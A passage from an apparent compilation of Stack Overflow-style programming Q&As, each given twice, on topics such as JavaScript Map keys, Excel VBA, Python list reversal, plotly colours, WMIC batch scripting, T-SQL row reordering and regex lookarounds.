            var pt = new Point(i, j);
            arr[pt] = [1, 2, 3];
        }
    }
}

Where my Point function is

function Point(x, y) {
    this.x = x;
    this.y = y;
}

and now I would like to iterate through all the values of the array but I also need to know the keys as well. I've tried

function iterate() {
    for(var e in arr) {
        console.log(e.x);
    }
}

but it just prints out undefined. Also, if I try

function iterate() {
    console.log(Object.keys(arr));
}

I just get [object Object] as output.

I've tried printing out the Point at the moment of creation and I can access the x and y values just fine.

As a side note, in my actual implementation I'm not just assigning the array [1, 2, 3] to each index of my array. I am assigning an array generated by another function that has nothing to do with accessing the keys in arr

Body:
All object keys are strings or symbol. So, when you try to use an object as the key of another object it is coerced to the string [object object] using the toString() method. You can check it on the next example:

let obj = {a: "something"};
console.log(obj.toString());

.as-console {background-color:black !important; color:lime;}
.as-console-wrapper {max-height:100% !important; top:0;}

One solution for what you want to do is to use a Map

The keys of an Object are String and Symbol, whereas they can be any value for a Map, including functions, objects, and any primitive.

Example with Map

function Point(x, y)
{
    this.x = x;
    this.y = y;
}

var arr;

function assign(iSize, jSize)
{
    arr = new Map();

    for (var i = 0; i < iSize; i++)
    {
        for (var j = 0; j < jSize; j++)
        {
            var pt = new Point(i, j);
            arr.set(pt, [1, 2, 3]);
        }
    }
}

function iterate()
{
    arr.forEach((val, key) =>
    {
        console.log("key => ", JSON.stringify(key), " val => ", JSON.stringify(val));
    });
}

assign(2, 2);
iterate();

Another solution is to add a toString() method into your Point class to avoid calling the Object.prototype.toString() one, as explained here:

Example with toString()

function Point(x, y)
{
    this.x = x;
    this.y = y;
}

// New toString() method for the Point class.

Point.prototype.toString = function()
{
    return `(${this.x},${this.y})`;
}

var arr;

function assign(iSize, jSize)
{
    arr = {};

    for (var i = 0; i < iSize; i++)
    {
        for (var j = 0; j < jSize; j++)
        {
            var pt = new Point(i, j);
            arr[pt] = [1, 2, 3];
        }
    }
}

function iterate()
{
    for (const key in arr)
    {
        console.log("key => ", key, " val => ", JSON.stringify(arr[key]));
    }
}

assign(2, 2);
iterate();

.as-console {background-color:black !important; color:lime;}
.as-console-wrapper {max-height:100% !important; top:0;}


问:
How to fit a lot of header within cell width using VBA?
I have copied approximately 88 columns of content from another spreadsheet. The problem is the headers are too big and they are not showing in the column cell properly. So, I had to go to each cell and press Alt+Enter each time. I want to use a macro that will do it automatically.

I am using Microsoft Excel 2016 version.

```<code>Sub Fit_Headers()

   'Fit_Headers Macro

    Range("BI13").Select
    ActiveCell.FormulaR1C1 = "ACTUAL SAMPLE " & Chr(10) & "FABRIC INHOUSE DATE"
    Range("BJ13").Select
End Sub
</code>```

I used "Record Macro" to record what I am doing in one cell. How can I modify it so I can use it for remaining cells?`

答:
After playing around with your sample, adding the line of code below after you set the contents of the cell will, I believe, do what you want:

```<code>ActiveCell.EntireRow.AutoFit
</code>```

There are some limitations that I found while playing with this.  In the example code you provided, you have that Chr(10) bit in there and when that is present, Excel doesn't seem to want to widen the cell to show everything that you have set as a single line on a single line.  It will break the entire string into individual words with each word on a single line within the cell.  Additionally, you can swap the EntireRow with EntireColumn if you have need to.

Body:
I have copied approximately 88 columns of content from another spreadsheet. The problem is the headers are too big and they are not showing in the column cell properly. So, I had to go to each cell and press Alt+Enter each time. I want to use a macro that will do it automatically.

I am using Microsoft Excel 2016 version.

Sub Fit_Headers()

   'Fit_Headers Macro

    Range("BI13").Select
    ActiveCell.FormulaR1C1 = "ACTUAL SAMPLE " & Chr(10) & "FABRIC INHOUSE DATE"
    Range("BJ13").Select
End Sub

I used "Record Macro" to record what I am doing in one cell. How can I modify it so I can use it for remaining cells?`

Body:
After playing around with your sample, adding the line of code below after you set the contents of the cell will, I believe, do what you want:

ActiveCell.EntireRow.AutoFit

There are some limitations that I found while playing with this.  In the example code you provided, you have that Chr(10) bit in there and when that is present, Excel doesn't seem to want to widen the cell to show everything that you have set as a single line on a single line.  It will break the entire string into individual words with each word on a single line within the cell.  Additionally, you can swap the EntireRow with EntireColumn if you have need to.


问:
How to using open and .write to write string + variables value into a file on the same line?
I want to take input from the user containing a string, store that string into a variable and write it inside another strings line into a file.

I've tried using open and .write and using (%s) to add the input to the wrote line.

```<code>outF = open("file.txt", "w")
string = raw_input("enter string to add!")
outF.write('string data to write (%s)', % string)
outF.close()
</code>```

答:
See if this suits you</p>

```<code>with open("file.txt", "r", encoding="utf-8") as file:
    x = file.read()
with open("file.txt", "w", encoding="utf-8") as file:
    print(x)
    sentence = f"{x} {input('Add something: ')}. End."
    file.write(sentence)
</code>```

Body:
I want to take input from the user containing a string, store that string into a variable and write it inside another strings line into a file.

I've tried using open and .write and using (%s) to add the input to the wrote line.

outF = open("file.txt", "w")
string = raw_input("enter string to add!")
outF.write('string data to write (%s)', % string)
outF.close()

Body:
See if this suits you

with open("file.txt", "r", encoding="utf-8") as file:
    x = file.read()
with open("file.txt", "w", encoding="utf-8") as file:
    print(x)
    sentence = f"{x} {input('Add something: ')}. End."
    file.write(sentence)


问:
Azure Service Bus: Best way to implement exponential retry policy for failed to process messages
I am continuously receiving messages in peek mode and abandoning them if processing fails (Not the delivery). However, the message immediately becomes available again and is received for processing again. It fails quickly again and after max deliveries it is dead-lettered.

Is there a way to configure the topic/subscription to wait before releasing the message after it is abandoned? Preferably in exponential manner.

Of course I am open for suggestions via the code as well.

答:
I am looking into this topic as well and I came across the class RetryExponential class from Microsoft.

RetryExponential Class

Namespace: Microsoft.ServiceBus

Assembly: Microsoft.ServiceBus.dll

Represents an implementation of a retry policy. For each time the messaging operation must be retried, the delay between retries grows in a staggered, exponential manner.

public sealed class RetryExponential : Microsoft.ServiceBus.RetryPolicy


问:
Print a list backwards
I have a code which i want to print this list backwards but it didn't work.

It prints [2 , 4 , 6 , 8 , 10, 10]

```<code>def printBackwards (list) :
  i = len(list)
  while (i > 0):
  list.append(list[i-1])
   i = i +1
  print(list)
  return

myslist = [2 , 4 , 6 , 8 , 10]
printBackwards(myslist)
</code>```

What i want is to print it [10 , 8 , 6 , 4 , 2] How can this be done ?

EDIT: I want use my code not [::-1] or reverse() or something from other post WHICH  I have seen . so its not duplicate . I dont want just work from what ever code however I want to edit my code to work. Thanks.

答:
```<code>def printBackwards(list_1):
    list_2 = []
    i = len(list_1)
    while (i > 0):
        list_2.append(list_1[i-1])
        i = i -1
    return list_2

myslist = [2 , 4 , 6 , 8 , 10]
print(printBackwards(myslist))
</code>```

Create a local list and append to that list.

Input and output

Title: Print a list backwards

Body:
I have a code which i want to print this list backwards but it didn't work.

It prints [2 , 4 , 6 , 8 , 10, 10]

def printBackwards (list) :
  i = len(list)
  while (i > 0):
  list.append(list[i-1])
   i = i +1
  print(list)
  return

myslist = [2 , 4 , 6 , 8 , 10]
printBackwards(myslist)

What i want is to print it [10 , 8 , 6 , 4 , 2] How can this be done ?

EDIT: I want use my code not [::-1] or reverse() or something from other post WHICH  I have seen . so its not duplicate . I dont want just work from what ever code however I want to edit my code to work. Thanks.

Body:
def printBackwards(list_1):
    list_2 = []
    i = len(list_1)
    while (i > 0):
        list_2.append(list_1[i-1])
        i = i -1
    return list_2

myslist = [2 , 4 , 6 , 8 , 10]
print(printBackwards(myslist))

Create a local list and append to that list.

Input and output


问:
How to change the default colors in plotly chart?
I am creating a plotly stacked bar chart and depending on the filters my dataset changes.

The dataset look like:

```<code>tabNew <- structure(list(Group = c("2016-11", "2016-12", "2017-01", "2017-
02", "2017-03"),
`Did Not Meet Expectations` = c(3, 0.8, 1.5, 0.8, 1.7),
`Exceeded Expectations` = c(45, 50.6, 32.3, 49.5, 55.6),
`Met Expectations` = c(51.2, 48.5, 66.2, 49.5, 42.4),
Unacceptable = c(0.7, 0, 0, 0.1, 0.2)),
.Names = c("Group", "Did Not Meet Expectations",
"Exceeded Expectations", "Met Expectations", "Unacceptable"),
row.names = c(NA, -5L), class = "data.frame")
</code>```

The code to plot the chart is as below:

```<code>x <- list(
  title = "Time"
)
y <- list(
  title = "Percent"
)

p <- plot_ly(tabNew, x = ~Group, y = ~`Unacceptable`, colors = c("red", "yellow", "green", "blue"),
             name = 'Unacceptable', type = 'scatter', mode = 'lines') %>%
  add_trace(y = ~`Did Not Meet Expectations`, name = 'Did Not Meet Expectations') %>%
  add_trace(y = ~`Met Expectations`, name = 'Met Expectations') %>%
  add_trace(y = ~`Exceeded Expectations`, name = 'Exceeded Expectations') %>%
  layout(xaxis = x, yaxis = y)
</code>```

The chart looks like:

This dataset is an example where the Group represent Months. Sometimes based on filters, the Group can represents Quarters and in such cases, there may not be all other columns. So there are chances that we have only Did Not Meet Expectations, Exceeded Expectations and Met Expectations.

In either case, I do not want the default colors. I want Unacceptable if its there to be shown by Red, Did Not Meet Expectations if available to be shown as Yellow and likewise Met Expectations by Blue and Exceeded Expectations as Green. Is there a way to specify this order?

答:
Another option would be to melt the data.frame in long-format and simply map the criterion names to specific colors (see also Scatter and Line Plots in R):

```<code>library(plotly)
library(tidyr) ## to melt data.frame

## create long-format data.frame
df <- data.frame(
        Group        = c("2016-11", "2016-12", "2017-01", "2017-02", "2017-03"),
        DidNot       = c(3, 0.8, 1.5, 0.8, 1.7),
        Exceeded     = c(45, 50.6, 32.3, 49.5, 55.6),
        Met          = c(51.2, 48.5, 66.2, 49.5, 42.4),
        Unacceptable = c(0.7, 0, 0, 0.1, 0.2)
     ) %>%
     gather(key = "criterion", value = "measurement", -Group)

## specify color maps
colors <- c("red", "gold", "blue", "green")
names(colors) <- c("Unacceptable", "DidNot", "Met", "Exceeded")

## create plot
plot_ly(df, x = ~Group) %>%
  add_lines(y = ~measurement, color = ~criterion, colors = colors) %>%
  layout(xaxis = list(title = "Time"),
         yaxis = list(title = "Percent")
  )
</code>```

This should also work when not all column names are present in the data.frame.

Body:
I am creating a plotly stacked bar chart and depending on the filters my dataset changes.

The dataset look like:

tabNew <- structure(list(Group = c("2016-11", "2016-12", "2017-01", "2017-
02", "2017-03"),
`Did Not Meet Expectations` = c(3, 0.8, 1.5, 0.8, 1.7),
`Exceeded Expectations` = c(45, 50.6, 32.3, 49.5, 55.6),
`Met Expectations` = c(51.2, 48.5, 66.2, 49.5, 42.4),
Unacceptable = c(0.7, 0, 0, 0.1, 0.2)),
.Names = c("Group", "Did Not Meet Expectations",
"Exceeded Expectations", "Met Expectations", "Unacceptable"),
row.names = c(NA, -5L), class = "data.frame")

The code to plot the chart is as below:

x <- list(
  title = "Time"
)
y <- list(
  title = "Percent"
)

p <- plot_ly(tabNew, x = ~Group, y = ~`Unacceptable`, colors = c("red", "yellow", "green", "blue"),
             name = 'Unacceptable', type = 'scatter', mode = 'lines') %>%
  add_trace(y = ~`Did Not Meet Expectations`, name = 'Did Not Meet Expectations') %>%
  add_trace(y = ~`Met Expectations`, name = 'Met Expectations') %>%
  add_trace(y = ~`Exceeded Expectations`, name = 'Exceeded Expectations') %>%
  layout(xaxis = x, yaxis = y)

The chart looks like:

This dataset is an example where the Group represent Months. Sometimes based on filters, the Group can represents Quarters and in such cases, there may not be all other columns. So there are chances that we have only Did Not Meet Expectations, Exceeded Expectations and Met Expectations.

In either case, I do not want the default colors. I want Unacceptable if its there to be shown by Red, Did Not Meet Expectations if available to be shown as Yellow and likewise Met Expectations by Blue and Exceeded Expectations as Green. Is there a way to specify this order?

Body:
Another option would be to melt the data.frame in long-format and simply map the criterion names to specific colors (see also Scatter and Line Plots in R):

library(plotly)
library(tidyr) ## to melt data.frame

## create long-format data.frame
df <- data.frame(
        Group        = c("2016-11", "2016-12", "2017-01", "2017-02", "2017-03"),
        DidNot       = c(3, 0.8, 1.5, 0.8, 1.7),
        Exceeded     = c(45, 50.6, 32.3, 49.5, 55.6),
        Met          = c(51.2, 48.5, 66.2, 49.5, 42.4),
        Unacceptable = c(0.7, 0, 0, 0.1, 0.2)
     ) %>%
     gather(key = "criterion", value = "measurement", -Group)

## specify color maps
colors <- c("red", "gold", "blue", "green")
names(colors) <- c("Unacceptable", "DidNot", "Met", "Exceeded")

## create plot
plot_ly(df, x = ~Group) %>%
  add_lines(y = ~measurement, color = ~criterion, colors = colors) %>%
  layout(xaxis = list(title = "Time"),
         yaxis = list(title = "Percent")
  )

This should also work when not all column names are present in the data.frame.


问:
how I can add a css file correctly to a php file
My css file import in the header of the html not work. It don't show any changes on the page. I have tried to add the type="text/css" to the link object of the html header but this has no effect.

login.php

<?php

?>

<!DOCTYPE html>

    <title>Login</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">
    <link ref="stylesheet" href="login.css">

Test

    <form class="form-signin">

Bitte anmelden

...
        <button class="btn btn-lg btn-primary btn-block" type="submit">Anmelden</button>
    </form>

```

<p>login.css</p>

<pre class="lang-css prettyprint-override"><code>html,
body {
    height: 100%;
}

p {
    background-color: chartreuse;
}

body {
    display: -ms-flexbox;
    display: flex;
    -ms-flex-align: center;
    align-items: center;
    padding-top: 40px;
    padding-bottom: 40px;
    background-color: #f5f5f5;
}

.form-signin {
    width: 100%;
    max-width: 330px;
    padding: 15px;
    margin: auto;
}
.form-signin .checkbox {
    font-weight: 400;
}
.form-signin .form-control {
    position: relative;
    box-sizing: border-box;
    height: auto;
    padding: 10px;
    font-size: 16px;
}
...
</code>```

How I can import the css file correctly. To change the design of the html site.

答:
Your code has an error on line 12, you wrote "ref" which needs to be changed to "rel".

Your code will work if you fix this attribute.

Body:
My css file import in the header of the html not work. It don't show any changes on the page. I have tried to add the type="text/css" to the link object of the html header but this has no effect.

login.php

<?php

?>

<!DOCTYPE html>

    <title>Login</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">
    <link ref="stylesheet" href="login.css">

Test

    <form class="form-signin">

Bitte anmelden

...
        <button class="btn btn-lg btn-primary btn-block" type="submit">Anmelden</button>
    </form>

login.css

html,
body {
    height: 100%;
}

p {
    background-color: chartreuse;
}

body {
    display: -ms-flexbox;
    display: flex;
    -ms-flex-align: center;
    align-items: center;
    padding-top: 40px;
    padding-bottom: 40px;
    background-color: #f5f5f5;
}

.form-signin {
    width: 100%;
    max-width: 330px;
    padding: 15px;
    margin: auto;
}
.form-signin .checkbox {
    font-weight: 400;
}
.form-signin .form-control {
    position: relative;
    box-sizing: border-box;
    height: auto;
    padding: 10px;
    font-size: 16px;
}
...

How I can import the css file correctly. To change the design of the html site.


问:
Invalid Verb on WMIC get variable
I am trying to get just the primary hard disk serial number to a variable to be echoed later.

I have used this and it works:

```<code>for /f "tokens=2 delims== " %%k in ('WMIC path win32_physicalmedia get serialnumber /value') do (for /f "delims=" %%l in ("%%k") do set "SerialNumber=%%l")
</code>```

However, it only does the last serial number and I want to get the primary.

If I used this command,

```<code>"wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value"
</code>```

then I get only the desired serial number.

Problem is when I try to modify the working code I get an error when running the bat:

Invalid Verb.

Trying to get to work:

```<code>for /f "tokens=2 delims== " %%k in ('wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value') do (for /f "delims=" %%l in ("%%k") do set SerialNumber=%%l)
</code>```

Errors:

Invalid Verb

If I run just:

```<code>wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value in CMD
</code>```

I get the following output:

```<code>SerialNumber=     WD-WCC2E1XJADRT
</code>```

So I know the command works.

It doesn't even matter if the spaces are in, I just want whats after the =. I am doing this in WINPE with WMIC support, so Powershell isn't an option.

Total script

```<code>@echo OFF
setlocal
for %%v in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%v:\drives.txt set w=%%v

for /f "tokens=2 delims== " %%k in ('wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value)') do (for /f "delims=" %%l in ("%%k") do set SerialNumber=%%l)

for /F "tokens=2" %%i in ('date /t') do set "Date=%%i"
echo %SerialNumber%,%Date% >> %w%:\drives.txt
</code>```

答:
It would be so easy in powershell.  You can extract the zip for Powershell 6 (pwsh) on a fileshare for winpe.  https://github.com/PowerShell/PowerShell/releases/download/v6.2.1/PowerShell-6.2.1-win-x64.zip

```<code>$SerialNumber = Get-CimInstance win32_physicalmedia |
  Where tag -Match physicaldrive0 | Select -Expand serialnumber
</code>```

Here's another .bat way ('%' are sql wildcards, you have to double them in a .bat file):

```<code>for /f "skip=1" %%i in ('wmic path win32_physicalmedia where "tag like '%%PHYSICALDRIVE0%%'" get serialnumber') do if not defined serialnumber set serialnumber=%%i
</code>```

Title: Invalid Verb on WMIC get variable

Body:
I am trying to get just the primary hard disk serial number to a variable to be echoed later.

I have used this and it works:

for /f "tokens=2 delims== " %%k in ('WMIC path win32_physicalmedia get serialnumber /value') do (for /f "delims=" %%l in ("%%k") do set "SerialNumber=%%l")

However, it only does the last serial number and I want to get the primary.

If I used this command,

"wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value"

then I get only the desired serial number.

Problem is when I try to modify the working code I get an error when running the bat:

Invalid Verb.

Trying to get to work:

for /f "tokens=2 delims== " %%k in ('wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value') do (for /f "delims=" %%l in ("%%k") do set SerialNumber=%%l)

Errors:

Invalid Verb

If I run just:

wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value in CMD

I get the following output:

SerialNumber=     WD-WCC2E1XJADRT

So I know the command works.

It doesn't even matter if the spaces are in, I just want whats after the =. I am doing this in WINPE with WMIC support, so Powershell isn't an option.

Total script

@echo OFF
setlocal
for %%v in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%v:\drives.txt set w=%%v

for /f "tokens=2 delims== " %%k in ('wmic path win32_physicalmedia where tag='\\\\.\\PHYSICALDRIVE0' get serialnumber /value)') do (for /f "delims=" %%l in ("%%k") do set SerialNumber=%%l)

for /F "tokens=2" %%i in ('date /t') do set "Date=%%i"
echo %SerialNumber%,%Date% >> %w%:\drives.txt

Body:
It would be so easy in powershell.  You can extract the zip for Powershell 6 (pwsh) on a fileshare for winpe.  https://github.com/PowerShell/PowerShell/releases/download/v6.2.1/PowerShell-6.2.1-win-x64.zip

$SerialNumber = Get-CimInstance win32_physicalmedia |
  Where tag -Match physicaldrive0 | Select -Expand serialnumber

Here's another .bat way ('%' are sql wildcards, you have to double them in a .bat file):

for /f "skip=1" %%i in ('wmic path win32_physicalmedia where "tag like '%%PHYSICALDRIVE0%%'" get serialnumber') do if not defined serialnumber set serialnumber=%%i


问:
How do I send data from Struts action to javascript?
I'm trying to create a webb application using Struts 2 and javascript and I'm having some trouble passing data from my action into my javascript.

This is the list I'm trying to send/access:

```<code>List<MarkerClass> markers;
</code>```

MarkerClass is defined acoprding to belove:

```<code>final class MarkerClass
{
    public Integer objectId;
    public String street;
    public String streetNumber;
    public String zip;
    public String city;
    public Integer statusId;
    public Float lattitude;
    public Float longitude;
}
</code>```

The action also includes a getter for markers:

```<code>public List<MarkerClass> getMarkers()
{
    return markers;
}
</code>```

In my jsp-file I have tried doing this:

```<code><%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>

<script type="text/javascript">

function initialize()
{
    var titel = "";
    for(var i, "${markers}")
    {
        titel = titel+ "${markers[i].street}";
    }
}
</code>```

The browser substitutes "${markers}" with "[se.fubar.test.MarkerClass@37a4, se.fubar.test.MarkerClass@9ad97c]"

I'm guessing there is a better and smarter way to do this but since I'm a bit new to Struts and is trying to code while under the influence of a migrane the answer elludes me.

答:
you can try accessing it something like this.
but you have to use a loop to fetch each object from the list place it on the value stack and than fetch each object of it.else you can ask ognl to do it for you.something like

```<code><script type="text/javascript">

function initialize()
{
    var titel = "";
    for(var i, "${markers}")
    {
        titel = titel+ <s:property value="%{markers.get(i).street}">;
    }
}
</code>```

just try it since OGNL has capacity to access the object on the value stack

Body:
I'm trying to create a webb application using Struts 2 and javascript and I'm having some trouble passing data from my action into my javascript.

This is the list I'm trying to send/access:

List<MarkerClass> markers;

MarkerClass is defined acoprding to belove:

final class MarkerClass
{
    public Integer objectId;
    public String street;
    public String streetNumber;
    public String zip;
    public String city;
    public Integer statusId;
    public Float lattitude;
    public Float longitude;
}

The action also includes a getter for markers:

public List<MarkerClass> getMarkers()
{
    return markers;
}

In my jsp-file I have tried doing this:

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>

Body:
you can try accessing it something like this.
but you have to use a loop to fetch each object from the list place it on the value stack and than fetch each object of it.else you can ask ognl to do it for you.something like

<script type="text/javascript">

function initialize()
{
    var titel = "";
    for(var i, "${markers}")
    {
        titel = titel+ <s:property value="%{markers.get(i).street}">;
    }
}

just try it since OGNL has capacity to access the object on the value stack


答:
You could create an local list in the reverse order using insert

```<code>def print_backwards(in_list):
    out = []
    for x in in_list:
        out.insert(0, x)
    print(out)
</code>```

Title: Print a list backwards

Body:
You could create an local list in the reverse order using insert

def print_backwards(in_list):
    out = []
    for x in in_list:
        out.insert(0, x)
    print(out)


问:
Xcode 9.4 not showing unit tests
I've a project that uses Swift 4.1, Cocoapods and has some unit tests. These tests were visible on Xcode 9.3, after I updated it to Xcode 9.4 the test navigator gets stuck and even deleting the derived folder, cleaning the project, reinstalling the software and restarting the Mac does not solve this issue. Must be a misconfiguration on the project (but I didn't change anything).
Any idea what I can do?

(Image has been resized)

答:
I came across this issue with Xcode 10.2.1 and solved it by making sure all my code was checked in and pushed, then creating a new sandbox (I'm using git).

That was easier than trying to figure out what Xcode files were causing the issue.

Title: Xcode 9.4 not showing unit tests


答:
```<code>def printBackwards(x) :
    i = len(x)
    new_x = []
    while (i > 0):
        new_x.append(x[i-1])
        i -= 1
    print(new_x)

myslist = [2 , 4 , 6 , 8 , 10]
printBackwards(myslist)
</code>```

Use i-=1 to decrement the index and perhaps you might want to create a new variable to store the result.

Alternatively, you can also append you result to the existing list and print out the second part after the loop.

```<code>def printBackwards(x) :
    i = len(x)
    n = i
    while (i > 0):
        x.append(x[i-1])
        i -= 1
    print(x[n:])
</code>```

Title: Print a list backwards

Body:
def printBackwards(x) :
    i = len(x)
    new_x = []
    while (i > 0):
        new_x.append(x[i-1])
        i -= 1
    print(new_x)

myslist = [2 , 4 , 6 , 8 , 10]
printBackwards(myslist)

Use i-=1 to decrement the index and perhaps you might want to create a new variable to store the result.

Alternatively, you can also append you result to the existing list and print out the second part after the loop.

def printBackwards(x) :
    i = len(x)
    n = i
    while (i > 0):
        x.append(x[i-1])
        i -= 1
    print(x[n:])


问:
How to update other OrderNo when I update OrderNo of one record on tsql
I have an question table which named "Questions" and it has OrderNo which defines Order of the questions.

I faced a problem during update OrderNo.

If I update one of the OrderNo, it must be updated all OrderNo depends on an updated OrderNo therefore all orders will be updated.

One of the solution is cursor but I dont solve this issue.

Do you have any recommendation?

答:
The following code demonstrates one way of repositioning a row in a given display order and shuffling any other rows to accommodate the change. By using a case expression a single update statement can pick and choose how to update different rows.

NB: It should be wrapped in a suitable transaction for use in The Real Word.

```<code>-- Sample data.
declare @Samples as Table ( Id Int Identity, DisplayOrder Int );
insert into @Samples ( DisplayOrder ) values ( 1 ), ( 2 ), ( 3 ), ( 4 );
select * from @Samples order by DisplayOrder;

-- We need a few variables.
declare @PreviousDisplayOrder as Int;
declare @Id as Int, -- Row to be moved.
  @DisplayOrder as Int; -- New order for the row.

-- Pick a row to move and a new display order for it.
select @Id = 2, @DisplayOrder = 3;

-- Determine the previous display order for the row being moved.
select @PreviousDisplayOrder = DisplayOrder from @Samples where Id = @Id;

-- Display some useful tidbits.
select @PreviousDisplayOrder as PreviousDisplayOrder,
  ( select Min( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M1( DisplayOrder ) ) as MinDisplayOrder,
  ( select Max( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M2( DisplayOrder ) ) as MaxDisplayOrder;

-- Update the rows.
update @Samples
  set DisplayOrder = case
    -- Set the order of the repositioned row.
    when Id = @Id then @DisplayOrder
    -- Moving the repositioned row up (numerically).
    when @DisplayOrder > @PreviousDisplayOrder and DisplayOrder <= @DisplayOrder then DisplayOrder - 1
    -- Moving the repositioned row down (numerically).
    when @DisplayOrder < @PreviousDisplayOrder and DisplayOrder >= @DisplayOrder then DisplayOrder + 1
    else DisplayOrder
    end
    where
      -- Only update the rows between the original and the new display orders.
      DisplayOrder >= ( select Min( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M1( DisplayOrder ) ) and
      DisplayOrder <= ( select Max( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M2( DisplayOrder ) );

-- Display the results.
select * from @Samples order by DisplayOrder;
</code>```

Body:
The following code demonstrates one way of repositioning a row in a given display order and shuffling any other rows to accommodate the change. By using a case expression a single update statement can pick and choose how to update different rows.

NB: It should be wrapped in a suitable transaction for use in The Real Word.

-- Sample data.
declare @Samples as Table ( Id Int Identity, DisplayOrder Int );
insert into @Samples ( DisplayOrder ) values ( 1 ), ( 2 ), ( 3 ), ( 4 );
select * from @Samples order by DisplayOrder;

-- We need a few variables.
declare @PreviousDisplayOrder as Int;
declare @Id as Int, -- Row to be moved.
  @DisplayOrder as Int; -- New order for the row.

-- Pick a row to move and a new display order for it.
select @Id = 2, @DisplayOrder = 3;

-- Determine the previous display order for the row being moved.
select @PreviousDisplayOrder = DisplayOrder from @Samples where Id = @Id;

-- Display some useful tidbits.
select @PreviousDisplayOrder as PreviousDisplayOrder,
  ( select Min( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M1( DisplayOrder ) ) as MinDisplayOrder,
  ( select Max( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M2( DisplayOrder ) ) as MaxDisplayOrder;

-- Update the rows.
update @Samples
  set DisplayOrder = case
    -- Set the order of the repositioned row.
    when Id = @Id then @DisplayOrder
    -- Moving the repositioned row up (numerically).
    when @DisplayOrder > @PreviousDisplayOrder and DisplayOrder <= @DisplayOrder then DisplayOrder - 1
    -- Moving the repositioned row down (numerically).
    when @DisplayOrder < @PreviousDisplayOrder and DisplayOrder >= @DisplayOrder then DisplayOrder + 1
    else DisplayOrder
    end
    where
      -- Only update the rows between the original and the new display orders.
      DisplayOrder >= ( select Min( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M1( DisplayOrder ) ) and
      DisplayOrder <= ( select Max( DisplayOrder ) from ( values ( @DisplayOrder ), (@PreviousDisplayOrder ) ) M2( DisplayOrder ) );

-- Display the results.
select * from @Samples order by DisplayOrder;


问:
How to convert a Bitmap to Drawable in android?
How can I convert a Bitmap image to Drawable ?</p>

答:
covert bit map to drawable in sketchware app using code</p>

```<code>    android.graphics.drawable.BitmapDrawable d = new android.graphics.drawable.BitmapDrawable(getResources(), bitmap);
</code>```

Body:
covert bit map to drawable in sketchware app using code

    android.graphics.drawable.BitmapDrawable d = new android.graphics.drawable.BitmapDrawable(getResources(), bitmap);


问:
RegEx for quantifying and finding a character
Considering a string with 12 characters, I want to split the string in three groups of four characters and find a character in group 1 and 3.

For example:

```<code>AAAABBBBAAAA  -> B not found (they are in group 2)
ABAABBBBAAAA  -> B found in the first 4 characters (group 1)
AAAABBBBABAA  -> B found in the last 4 characteres (group 2)
</code>```

I only managed to create group 1 and 3, but I don't know how to find the 'B' on them:

```<code>(^.{0,4})|(.{0,4}$)
</code>```

Thanks

答:
Basically, you want to match B's that have 3 or less characters behind them...

```<code>(?<=^...|^..|^.|^)B
</code>```

or B's that have 3 or less characters after them.

```<code>B(?=.{0,3}$)
</code>```

So, this should match all B's that satisfy your conditions:

```<code>(?<=^...|^..|^.|^)B|B(?=.{0,3}$)
</code>```

We are using a positive lookahead and a positive lookbehind here. Those will check your constraints, without being a part of the match. This means that only what you are interested in (the B's) will appear in the match. The reason we don't use the quantifier (e.g.: .{0,3}), on the lookbehind is because quantifiers generally don't work on them. This is why we resort to the "brute force" aproach: ^...|^..|^.|^.

See it live!

On many languages, positive lookbehinds aren't available. If this is the case, you can use lookaheads for both assertions:

```<code>B(?=.{8,11}$)|B(?=.{0,3}$)
</code>```

See it live!

Body:
Considering a string with 12 characters, I want to split the string in three groups of four characters and find a character in group 1 and 3.

For example:

AAAABBBBAAAA  -> B not found (they are in group 2)
ABAABBBBAAAA  -> B found in the first 4 characters (group 1)
AAAABBBBABAA  -> B found in the last 4 characteres (group 2)

I only managed to create group 1 and 3, but I don't know how to find the 'B' on them:

(^.{0,4})|(.{0,4}$)

Thanks

Body:
Basically, you want to match B's that have 3 or less characters behind them...

(?<=^...|^..|^.|^)B

or B's that have 3 or less characters after them.

B(?=.{0,3}$)

So, this should match all B's that satisfy your conditions:

(?<=^...|^..|^.|^)B|B(?=.{0,3}$)

We are using a positive lookahead and a positive lookbehind here. Those will check your constraints, without being a part of the match. This means that only what you are interested in (the B's) will appear in the match. The reason we don't use the quantifier (e.g.: .{0,3}), on the lookbehind is because quantifiers generally don't work on them. This is why we resort to the "brute force" aproach: ^...|^..|^.|^.

See it live!

On many languages, positive lookbehinds aren't available. If this is the case, you can use lookaheads for both assertions:

B(?=.{8,11}$)|B(?=.{0,3}$)

See it live!


问:
GUI file is coming as NOT FOUND in the browser in the spring v5 REST application without using any xml file
